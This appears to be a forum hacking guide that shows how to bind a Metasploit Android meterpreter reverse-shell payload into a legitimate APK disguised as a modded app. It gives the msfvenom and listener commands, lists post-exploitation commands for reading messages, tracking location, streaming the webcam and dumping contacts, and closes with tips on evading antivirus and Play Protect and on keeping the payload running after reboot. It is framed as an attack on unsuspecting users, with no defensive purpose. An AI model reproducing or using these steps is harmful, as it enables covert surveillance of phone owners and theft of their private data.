Users rarely install a "Virus.apk," but they will install a "Modded_Spotify.apk." This guide shows how to bind a Metasploit payload to a real Android app.
1. Tools Needed

• Metasploit Framework
  
• Apktool
  
• A legitimate APK (Target app)
  

2. Automating the InjectionInstead of manual decompiling, we use
 

Code:

msfvenom

with the
 

Code:

-x

flag to inject into a "template" app.
Bash
 

Code:

msfvenom -x original_app.apk -p android/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -o modded_app.apk

3. Setting up the ListenerYou need to be ready to receive the connection once the app is opened.
Bash
 

Code:

msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST YOUR_IP
set LPORT 4444
exploit

4. Post-Exploitation CapabilitiesOnce the victim opens the app, you have full remote access:

• Code:

  dump_sms
  : Read all text messages.
  
• Code:

  geolocate
  : Get the exact GPS coordinates.
  
• Code:

  webcam_stream
  : View a live feed from the camera.
  
• Code:

  dump_contacts
  : Download the entire contact list.

Pro-Resources for Post-ExploitationIf you want to stay undetected by Play Protect in 2025:

1. Obfuscation: Use
    
   
   Code:

   ProGuard
   or
    
   
   Code:

   DexGuard
   to hide your code strings.
   
2. Persistence: Script the payload to restart on device boot.
   
3. FUD APKs: Check your APK against VirtusTotal (but use an offline scanner like Antiscan.me to avoid leaking your stub to AV companies).
